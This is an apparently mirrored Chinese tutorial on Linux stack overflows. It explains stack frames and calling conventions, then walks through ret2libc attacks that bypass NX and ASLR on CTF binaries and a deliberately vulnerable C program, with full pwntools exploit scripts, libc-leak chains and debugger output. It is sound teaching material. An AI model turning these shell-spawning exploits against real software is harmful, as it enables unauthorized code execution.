2

Linux栈溢出总结(0x02)

 2 years ago
source link: https://www.ascotbe.com/2020/11/20/StackOverflow_Linux_0x02/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
ascotbe

Linux栈溢出总结(0x02)

发表于2020-11-20|更新于2021-05-17
阅读量:1

郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

在上篇中介绍了一些常见保护,以及如何开关,还有如何生成shellcode等操作,就那么点东西我搞了一星期,真是菜吐了,心态崩了了

222

写在前面的几个笔记

CALL和RET指令解释

  • CALL指令调用某个子函数时,下一条指令的地址作为返回地址被保存到栈中。等价于PUSH返回地址与JMP函数地址的指令序列
  • RET指令跳转到CALL指令保存的返回地址,讲控制权交还给调用函数。等价于POP返回地址与JMP返回地址的指令序列

AMD64和i386的区别

由于后面的利用方式可能会用到64位的程序,所以在前面把两者几个点需要区别下

  • 首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则就会抛出异常。
  • 其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDIRSIRDXRCXR8R9中,如果还有更多的参数的话才会保存在栈上。

函数调用栈

函数调用栈是一块连续的用来保存函数运行状态的内存区域,调用函数(caller)和被调用函数 (callee)根据调用关系堆叠起来,从内存的高地址向低地址增长。

一个典型的栈帧布局如下所示:

  1. 函数返回地址
  2. 错误处理帧
  3. 被调函数保存的寄存器

栈帧的布局如下图所示:

在windows/Intel平台上,当发生一个函数调用时,数据通过如下的方式存放在栈上:

  1. 在函数调用之前先将函数参数压栈,参数按照从的顺序。
  2. 由x86的call指令将函数的返回地址压栈(通常为call命令的下一个地址),这个返回地址就是函数调用结束后ret指令放入EIP寄存器的值。
  3. 上一个栈帧的栈帧指针通过EBP的值压栈
  4. 如果函数包含了try/catch或者其他的异常处理结构(如SEH),编译器会在栈上放置异常处理所需要的信息。
  5. 栈上分配局部变量
  6. 为临时数据分配栈缓冲区
  7. 最后,被调函数保存ESI, EDI, EBX寄存器的值。 对于linux/intel平台,这一步在第4步之后
int func(int arg1, int arg2, int arg3, int arg4, int arg5, int arg6, int arg7, int arg8)
{
int loc1 = arg1 + 1; int loc8 = arg8 + 8; return loc1 + loc8;
}
int main()
{
return func(11, 22, 33, 44, 55, 66, 77, 88);
}
// gcc -m32 stack.c -o stack32
// gcc stack.c -o stack64

栈的分布图

首先,被调用函数 func()的 8 个参数从后向前依次入栈,当执行 call 指令时,下一条指令的地址0x08048415 作为返回地址入栈。然后程序跳转到 func(),在函数开头,将调用函数的 ebp 压栈保存并更新为当前的栈顶地址esp作为新的栈基址,而 esp 则下移为局部变量开辟空间。函数返回时则相反,通过 leave 指令将 esp 恢复为当前的ebp,并从栈中将调用者的 ebp 弹出,最后 ret 指令弹出返回地址作为 eip,程序回到 main()函数中,最后抬高esp 清理被调用者的参数,一次函数调用的过程就结束了。

#X86中的栈
gef➤ disassemble main 0x080483fd <+0>: push ebp # 将栈底 ebp 压栈 (esp -= 4)
0x080483fe <+1>: mov ebp,esp # 更新 ebp 为当前栈顶 esp
0x08048400 <+3>: push 0x58 # 将 arg8 压栈 (esp -= 4)
0x08048402 <+5>: push 0x4d # 将 arg7 压栈 (esp -= 4)
0x08048404 <+7>: push 0x42 # 将 arg6 压栈 (esp -= 4)
0x08048406 <+9>: push 0x37 # 将 arg5 压栈 (esp -= 4)
0x08048408 <+11>:push 0x2c # 将 arg4 压栈 (esp -= 4)
0x0804840a <+13>:push 0x21 # 将 arg3 压栈 (esp -= 4)
0x0804840c <+15>:push 0x16 # 将 arg2 压栈 (esp -= 4)
0x0804840e <+17>:push 0xb # 将 arg1 压栈 (esp -= 4)
0x08048410 <+19>:call 0x80483db <func> # 调用 func (push 0x08048415)
0x08048415 <+24>:add esp,0x20 # 恢复栈顶 esp
0x08048418 <+27>:leave # (mov esp, ebp; pop ebp)
0x08048419 <+28>:ret # 函数返回 (pop eip)
gef➤ disassemble func 0x080483db <+0>: push ebp # 将栈底 ebp 压栈 (esp -= 4)
0x080483dc <+1>: mov ebp,esp # 更新 ebp 为当前栈顶 esp
0x080483de <+3>: sub esp,0x10 # 为局部变量开辟栈空间
0x080483e1 <+6>: mov eax,DWORD PTR [ebp+0x8] # 取出 arg1
0x080483e4 <+9>: add eax,0x1 # 计算 loc1
0x080483e7 <+12>:mov DWORD PTR [ebp-0x8],eax # loc1 放入栈
0x080483ea <+15>:mov eax,DWORD PTR [ebp+0x24] # 取出 arg8
0x080483ed <+18>:add eax,0x8 # 计算 loc8
0x080483f0 <+21>:mov DWORD PTR [ebp-0x4],eax # loc8 放入栈
0x080483f3 <+24>:mov edx,DWORD PTR [ebp-0x8]
0x080483f6 <+27>:mov eax,DWORD PTR [ebp-0x4]
0x080483f9 <+30>:add eax,edx # 计算返回值
0x080483fb <+32>:leave # (mov esp, ebp; pop ebp)
0x080483fc <+33>:ret # 函数返回 (pop eip)

x86-64

对于 x86-64 的程序,前6 个参数分别通过rdi、rsi、rdx、rcx、r8和r9进行传递,剩余参数才像x86一样从后向前依次压栈。除此之外,我们还发现func()没有下移rsp开辟栈空间的操作,导致rbp和rsp的值是相同的,其实这是一项编译优化:根据AMD64 ABI文档的描述,rsp以下128字节的区域被称为red zone,这是一块被保留的内存,不会被信号或者中断所修改。于是,func()作为叶子函数就可以在不调整栈指针的情况下,使用这块内存保存临时数据。

gef➤ disassemble main 
0x000000000040050a <+0>: push rbp # 将栈底 rbp 压栈 (rsp -= 8)
0x000000000040050b <+1>: mov rbp,rsp # 更新 rbp 为当前栈顶 rsp
0x000000000040050e <+4>: push 0x58 # 将 arg8 压栈 (rsp -= 8)
0x0000000000400510 <+6>: push 0x4d # 将 arg7 压栈 (rsp -= 8)
0x0000000000400512 <+8>: mov r9d,0x42 # 将 arg6 赋值给 r9
0x0000000000400518 <+14>: mov r8d,0x37 # 将 arg5 赋值给 r8
0x000000000040051e <+20>: mov ecx,0x2c # 将 arg4 赋值给 rcx
0x0000000000400523 <+25>: mov edx,0x21 # 将 arg3 赋值给 rdx
0x0000000000400528 <+30>: mov esi,0x16 # 将 arg2 赋值给 rsi
0x000000000040052d <+35>: mov edi,0xb # 将 arg1 赋值给 rdi
0x0000000000400532 <+40>: call 0x4004d6 <func> # 调用 func (push 0x400537)
0x0000000000400537 <+45>: add rsp,0x10 # 恢复栈顶 rsp
0x000000000040053b <+49>: leave # (mov rsp, rbp; pop rbp)
0x000000000040053c <+50>: ret # 函数返回 (pop rip)
gef➤ disassemble func
0x00000000004004d6 <+0>: push rbp # 将栈底 rbp 压栈 (rsp -= 8)
0x00000000004004d7 <+1>: mov rbp,rsp # 更新 rbp 为当前栈顶 rsp
0x00000000004004da <+4>: mov DWORD PTR [rbp-0x14],edi
0x00000000004004dd <+7>: mov DWORD PTR [rbp-0x18],esi
0x00000000004004e0 <+10>: mov DWORD PTR [rbp-0x1c],edx
0x00000000004004e3 <+13>: mov DWORD PTR [rbp-0x20],ecx
0x00000000004004e6 <+16>: mov DWORD PTR [rbp-0x24],r8d
0x00000000004004ea <+20>: mov DWORD PTR [rbp-0x28],r9d
0x00000000004004ee <+24>: mov eax,DWORD PTR [rbp-0x14]
0x00000000004004f1 <+27>: add eax,0x1
0x00000000004004f4 <+30>: mov DWORD PTR [rbp-0x8],eax
0x00000000004004f7 <+33>: mov eax,DWORD PTR [rbp+0x18]
0x00000000004004fa <+36>: add eax,0x8
0x00000000004004fd <+39>: mov DWORD PTR [rbp-0x4],eax
0x0000000000400500 <+42>: mov edx,DWORD PTR [rbp-0x8]
0x0000000000400503 <+45>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000400506 <+48>: add eax,edx # 计算返回值
0x0000000000400508 <+50>: pop rbp # 恢复 rbp (rsp += 8)
0x0000000000400509 <+51>: ret # 函数返回 (pop rip)

绕过NX保护

Ret2libc

Bypass DEP 通过ret2libc绕过DEP防护,现在我们把DEP打开,依然关闭stack protector和ASLR。这时候我们按上篇无保护的思路来做题的话,系统会拒绝执行我们的shellcode。如果你通过sudo cat /proc/[pid]/maps查看,stack是rw的而不是rwx。

三道题分布对应下面三个小结

                            栈  (进入危险函数之前) 
<------------------------------------------------------------->
ESP <------> EBP call function args
|--------------------|-------------|----------------|---------|
| .......... | JMP 函数地址 | PUSH 返回地址 | value |
|--------------------|-------------|----------------|---------|
利用溢出覆盖返回地址和参数


|
|
|
v
栈 (进入危险函数之后)
<------------------------------------------->
ESP <------> EBP EIP args
|--------------------|-------------|---------|
| .......... | return addr | value |
|--------------------|-------------|---------|
利用溢出覆盖返回地址和参数
|
|
|
v

栈 (覆盖之后)
<------------------------------------------------------------------------------------------>
ESP EBP call function args
|-----------------|-------------|----------------------------|-----------------|-----------|
| AAAAAAAAAAAAAAAAAAAAAAAAAAAAA | JMP (system function addr) | PUSH return addr| "/bin/sh" |
|-----------------|-------------|----------------------------|-----------------|-----------|

最终结果:
1.把返回地址的值覆盖为system()函数的地址
2.正常执行栈
3.执行完栈后调用RET汇编指令(POP出system()函数的地址,把EIP指向system()函数的地址)
4.当执行完第三步后,就会构成一个新的栈:参数->call system函数
5.执行新构建的栈,进而获取控制台权限

存在system()函数和/bin/sh字符串

以 bamboofox 中 ret2libc1 为例,首先,我们可以检查一下程序的安全保护

kali@kali:~/Desktop$ checksec ret2libc1
[*] '/home/kali/Desktop/ret2libc1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

源程序为 32 位,开启了 NX 保护。下面来看一下程序源代码,确定漏洞位置

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(&s);
return 0;
}

可以看到在执行 gets 函数的时候出现了栈溢出,接着定位溢出值

gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ run
Starting program: /home/kali/Desktop/ret2libc1
RET2LIBC >_<
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xf7fb0580 --> 0xfbad2288
EDX: 0xfbad2288
ESI: 0xf7fb0000 --> 0x1e4d6c
EDI: 0xf7fb0000 --> 0x1e4d6c
EBP: 0x6941414d ('MAAi')
ESP: 0xffffd220 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
EIP: 0x41384141 ('AA8A')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41384141
[------------------------------------stack-------------------------------------]
0000| 0xffffd220 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0004| 0xffffd224 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0xffffd228 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0012| 0xffffd22c ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0xffffd230 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0020| 0xffffd234 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0xffffd238 ("AmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0028| 0xffffd23c ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()
gdb-peda$ pattern offset 0x41384141
1094205761 found at offset: 112

可以看到溢出的位置在112的地方

接着利用ropgadget,查看是否有/bin/sh存在

kali@kali:~/Desktop$ ROPgadget --binary ret2libc1 --string '/bin/sh'
Strings information
============================================================
0x08048720 : /bin/sh

并且在IDA中可以看到有system这个函数,如果没有开启ASRL的话再Windows上面看到的地址和你在Linux运行后的地址是相同的

我们要的东西都齐了以后,接下来就是写EXP了,EXP中栈拼接对应上面的利用原理

python
#!/usr/bin/env python
from pwn import *

sh = process('../ret2libc1')
context(os='linux', arch='x86', log_level='debug')
binsh_addr = 0x08048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)

sh.interactive()

payload在栈中的部署:

                              +---------------------------+
| binsh_addr | 部署binsh_addr作为汇编system函数的参数
+- +---------------------------+
| PUSH 返回地址 | bbbb | 部署bbbb作为汇编正常调用system函数的返回地址
call system <-| +---------------------------+
| JMP 函数地址 | system_plt | 执行system_plt,覆盖原ret返回位置
+- +---------------------------+
| aaaa | aaaa覆盖原ebp位置
ebp--->+---------------------------+
| aaaa | aaaa占位填满栈空间
| .... | ......
| aaaa | aaaa占位填满栈空间
| aaaa | aaaa占位填满栈空间
| aaaa | aaaa占位填满栈空间
+---------------------------+

如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址(就是call指令下面的地址),而现在我们并不是正常调用,所以需要补上一个bbbb作为虚拟返回地址(也就是CALL指令拆分成两步中的第一步PUSH 返回地址


只存在system()函数

以 bamboofox 中 ret2libc2为例,拿到文件依旧进行查看保护

ascotbe@ubuntu:~/Desktop/Pwn$ checksec ret2libc2
[*] '/home/ascotbe/Desktop/Pwn/ret2libc2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

接着我们可以看到溢出函数依旧是上文中的那个并且system()的地址是0x08048490

但是我们用ROPgadget并无找到/bin/sh位置

ascotbe@ubuntu:~/Desktop/Pwn$ ROPgadget --binary ret2libc2 --string '/bin/sh'
Strings information
============================================================

那我们怎么获取字符串呢?我们在PLT表中可以看到有一个gets()函数,这个函数可以用来获取字符串,并且地址为0x08048460

反汇编查看一下该函数

发现传入一个指针后即可返回指针指向的字符串,那么接着我们只需要找到一个可读可写的buffer区,通常会寻找.bss段,通过readelf命令来查找

ascotbe@ubuntu:~/Desktop/Pwn$ readelf -S ret2libc2
There are 35 section headers, starting at offset 0x1924:

Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 00002c 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481d8 0001d8 0000f0 10 A 6 1 4
[ 6] .dynstr STRTAB 080482c8 0002c8 000096 00 A 0 0 1
[ 7] .gnu.version VERSYM 0804835e 00035e 00001e 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 0804837c 00037c 000030 00 A 6 1 4
[ 9] .rel.dyn REL 080483ac 0003ac 000018 08 A 5 0 4
[10] .rel.plt REL 080483c4 0003c4 000058 08 A 5 12 4
[11] .init PROGBITS 0804841c 00041c 000023 00 AX 0 0 4
[12] .plt PROGBITS 08048440 000440 0000c0 04 AX 0 0 16
[13] .text PROGBITS 08048500 000500 000242 00 AX 0 0 16
[14] .fini PROGBITS 08048744 000744 000014 00 AX 0 0 4
[15] .rodata PROGBITS 08048758 000758 000065 00 A 0 0 4
[16] .eh_frame_hdr PROGBITS 080487c0 0007c0 000034 00 A 0 0 4
[17] .eh_frame PROGBITS 080487f4 0007f4 0000d0 00 A 0 0 4
[18] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4
[19] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4
[20] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4
[21] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4
[22] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[23] .got.plt PROGBITS 0804a000 001000 000038 04 WA 0 0 4
[24] .data PROGBITS 0804a038 001038 000008 00 WA 0 0 4
[25] .bss NOBITS 0804a040 001040 0000a4 00 WA 0 0 32
[26] .comment PROGBITS 00000000 001040 00002b 01 MS 0 0 1
[27] .debug_aranges PROGBITS 00000000 00106b 000020 00 0 0 1
[28] .debug_info PROGBITS 00000000 00108b 000329 00 0 0 1
[29] .debug_abbrev PROGBITS 00000000 0013b4 0000f8 00 0 0 1
[30] .debug_line PROGBITS 00000000 0014ac 0000c2 00 0 0 1
[31] .debug_str PROGBITS 00000000 00156e 00026d 01 MS 0 0 1
[32] .shstrtab STRTAB 00000000 0017db 000146 00 0 0 1
[33] .symtab SYMTAB 00000000 001e9c 000540 10 34 50 4
[34] .strtab STRTAB 00000000 0023dc 000314 00 0 0 1

我们可以发现.bss是从0x0804a040的位置开始的,然后按着这个段找到了0x0804A080这个位置是个char数组

接着可以看到.bss是能读写,由于程序在gdb中运行,就算关闭了ALSR也会和在gdb外运行不同。

kali@kali:~/Desktop/Pwn$ gdb -q ret2libc2
Reading symbols from ret2libc2...
gdb-peda$ run
Starting program: /home/kali/Desktop/Pwn/ret2libc2
Something surprise here, but I don't think it will work.
What do you think ?
[Inferior 1 (process 10047) exited normally]
Warning: not running
gdb-peda$ vmmap
Warning: not running
Start End Perm Name
0x0804841c 0x08048758 rx-p /home/kali/Desktop/Pwn/ret2libc2
0x08048154 0x080488c4 r--p /home/kali/Desktop/Pwn/ret2libc2
0x08049f08 0x0804a0e4 rw-p /home/kali/Desktop/Pwn/ret2libc2

接着寻找add esp, 4这样的指令,至于为什么呢因为我们调用gets()函数的时候push了一个参数也就是/bin/sh,函数结束的话如果不让堆栈平衡,那么最后结束整个函数的时候ebp的值回比原来低,具体低4个字节还是8个看进程的位数去。最后在这题结束会放个c程序调试的例子作为解释

ascotbe@ubuntu:~/Desktop/Pwn$ ROPgadget --binary ret2libc2 --only 'pop|ret'
Gadgets information
============================================================
0x0804872f : pop ebp ; ret
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret
0x0804872e : pop edi ; pop ebp ; ret
0x0804872d : pop esi ; pop edi ; pop ebp ; ret
0x08048426 : ret
0x0804857e : ret 0xeac1

Unique gadgets found: 7

万事具备我们就直接构造EXP即可

python
#!/usr/bin/env python
from pwn import *

sh = process("./ret2libc2")
context(os='linux', arch='x86', log_level='debug')

libc_gets_addr = 0x08048460
libc_system_addr = 0x08048490
buf2_addr = 0x0804A080
pop_ebx_addr = 0x0804843d
payload = flat(["A" * 0x70, libc_gets_addr, pop_ebx_addr, buf2_addr, libc_system_addr, '6666', buf2_addr])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

#运行流程
PUSH 参数->PUSH 返回地址->JMP system函数地址->PUSH 参数(进入CALL调用栈中)->POP 参数(由于为了堆栈平衡之前PUSH了参数)->CALL gets函数
#伪C++代码类似下面
system(gets(*buf2))

关于栈的分布图


无system()函数和/bin/sh字符串

首先查看保护

ascotbe@ubuntu:~/Desktop/Pwn$ checksec ./ret2libc3
[*] '/home/ascotbe/Desktop/Pwn/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

可以发现是加载libc.so动态链接库的

gdb-peda$ i sharedlibrary 
From To Syms Read Shared Object Library
0xf7fd2100 0xf7fef7f3 Yes (*) /lib/ld-linux.so.2
0xf7de81d0 0xf7f4171a Yes (*) /lib/i386-linux-gnu/libc.so.6
(*): Shared library is missing debugging information.

可以发现没有system()函数和/bin/sh字符串了

由于他加载了libc.so,那么我们可以明确几点

  • 动态链接库中的函数之间相对偏移是固定的

  • A 真实地址 (内存物理地址) - A 偏移地址 = B 真实地址 (内存物理地址) -B 偏移地址 = 基地址

  • 如果我们知道libc.so中某个函数的地址,那么我们就可以确定该程序利用的libc.so。进而我们就可以知道system()函数的地址。通过puts()泄露某个已执行过的函数的GOT地址,并且返回地址设置为_start()或main(),以便于重新执行一遍程序;

简单地说,main()函数是用户代码的入口,是对用户而言的;而_start()函数是系统代码的入口,是程序真正的入口。

我们可以看下本题的_start()函数内容,其包含main()和__libc_start_main()函数的调用,也就是说,它才是程序真正的入口

那么我们就可以编写EXP了,这个EXP就算开启了ASLR的话都是狂野利用的,所以我们这边绕过了NX保护和ASLR

python
from pwn import *

sh = process('./ret2libc3')
elf = ELF('./ret2libc3')
libc = elf.libc
context(os='linux', arch='x86', log_level='debug')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols['_start']
print ("[*]puts plt: " + hex(puts_plt))
print ("[*]puts got: " + hex(puts_got))
print ("[*]_start addr: " + hex(start_addr))
print( "--" * 20)
print ("[*]sending payload1 to leak libc...")

payload = flat(["A" * 112, puts_plt, start_addr, puts_got])#把puts_got地址放到栈中参数位置

sh.sendlineafter("Can you find it !?", payload)

puts_addr = u32(sh.recv(4))#获取到输出的值,里面带有我们放入的puts_got地址
print ("[*]leak puts addr: " + hex(puts_addr))

libc.address = puts_addr - libc.symbols['puts']#获取相对偏移
system_addr = libc.symbols['system']#
binsh_addr = next(libc.search(b'/bin/sh'))
print ("[*]leak libc addr: " + hex(libc.address))
print ("[*]system addr: " + hex(system_addr))
print ("[*]binsh addr: " + hex(binsh_addr))
print ("--" * 20)
print ("[*]sending payload2 to getshell...")

payload2 = flat(["B" * 112, system_addr, "CCCC", binsh_addr])
sh.sendline(payload2)
sh.interactive()

绕过ASLR保护

//test.c
#include <unistd.h>

void vuln_func() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char *argv[]) {
vuln_func();
write(STDOUT_FILENO, "Hello world!\n", 13);
}
//gcc -m32 -fno-stack-protector -z noexecstack -no-pie test.c -o test.out

首先检查题目的保护和是否开启了ASLR保护

ascotbe@ubuntu:~/Desktop/PWN$ ldd test.out 
linux-gate.so.1 => (0xf7f71000)
libc.so.6 => /lib32/libc.so.6 (0xf7da0000)
/lib/ld-linux.so.2 (0xf7f73000)
ascotbe@ubuntu:~/Desktop/PWN$ ldd test.out
linux-gate.so.1 => (0xf7fba000)
libc.so.6 => /lib32/libc.so.6 (0xf7de9000)
/lib/ld-linux.so.2 (0xf7fbc000)

运行的时候查看下加载了什么动态链接库

gdb-peda$  i sharedlibrary 
From To Syms Read Shared Object Library
0xf7fd9860 0xf7ff28dd Yes (*) /lib/ld-linux.so.2
0xf7e1d750 0xf7f4696d Yes (*) /lib32/libc.so.6

题目的思路:由于程序未开启PIE,导致程序本身的地址是固定的,我们可以通过write()函数进行信息泄露,打印出libc的地址,进而计算system()的地址

EXP就分为两个流程:

  • 通过payload在vuln_func中进行栈溢出,调用write@plt 打印出write@got,完成后又返回到vuln_func中
  • 通过再次溢出调用计算出相对地址的system函数获得shell

首先查看溢出位置

gdb-peda$  pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ run
Starting program: /home/ascotbe/Desktop/Pwn/test.out
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xc9
EBX: 0x6c414150 ('PAAl')
ECX: 0xffffcd80 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
EDX: 0x100
ESI: 0xf7fb0000 --> 0x1ead6c
EDI: 0xf7fb0000 --> 0x1ead6c
EBP: 0x41514141 ('AAQA')
ESP: 0xffffce10 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377")
EIP: 0x41416d41 ('AmAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41416d41
[------------------------------------stack-------------------------------------]
0000| 0xffffce10 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377")
0004| 0xffffce14 ("AASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377")
0008| 0xffffce18 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377")
0012| 0xffffce1c ("TAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377")
0016| 0xffffce20 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377")
0020| 0xffffce24 ("ArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377")
0024| 0xffffce28 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377")
0028| 0xffffce2c ("AAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41416d41 in ?? ()
gdb-peda$ pattern offset 0x41416d41
1094806849 found at offset: 140

1.由于和题目ret2libc3不一样,溢出函数不是在main()中而是在vuln_func_addr()中,所以我们只需要获取vuln_func_addr()函数的地址来作为返回地址

2.要利用什么函数就需要根据函数的具体参数来构造栈,比如利用write(STDOUT_FILENO, "Hello world!\n", 13),那么我们栈的构造就需要write(1,address,4)来传递参数

编写EXP,运行环境Ubuntu 16.04 Python3.8 (Ubuntu20.04 Python3.8无法运行)

python
#!/usr/bin/env python3
#-*- coidng: utf-8 -*-
#test.py
from pwn import *

io = process('./test.out')
elf = ELF('./test.out')
libc = ELF('/lib32/libc.so.6')
context(os='linux', arch='x86', log_level='debug')
write_plt=elf.symbols['write']#elf.plt['write']
write_got=elf.got['write']
vuln_func_addr = elf.symbols['vuln_func']
print ("[*]write plt: " + hex(write_plt))
print ("[*]write got: " + hex(write_got))
print ("[*]vuln func addr: " + hex(vuln_func_addr))
print( "--" * 20)
print ("[*]sending payload1 to leak libc...")

payload1 = ("A" * 140).encode()+ p32(write_plt)+p32(vuln_func_addr)+p32(1 )+p32(write_got)+p32(4)
#"A" * 140是溢出需要的字节
#write(1,address,4)表示将address向外写
print(payload1)
io.send(payload1)

write_addr = u32(io.recv(4))
print ("[*]leak write addr: " + hex(write_addr))
libc_addr=write_addr - libc.symbols['write']#获取相对偏移
print ("[*]leak libc addr: " + hex(libc_addr))
system_addr = libc_addr + libc.symbols['system']
binsh_addr = libc_addr + next(libc.search(b'/bin/sh'))

payload2 = ("B" * 140).encode() + p32(system_addr) + p32(vuln_func_addr) + p32(binsh_addr)

io.send(payload2)
io.interactive()


https://www.jianshu.com/p/c90530c910b0
https://www.mi1k7ea.com/2019/03/05/%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B9%8Bret2libc
《ctf竞赛权威指南(PWN篇)》

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK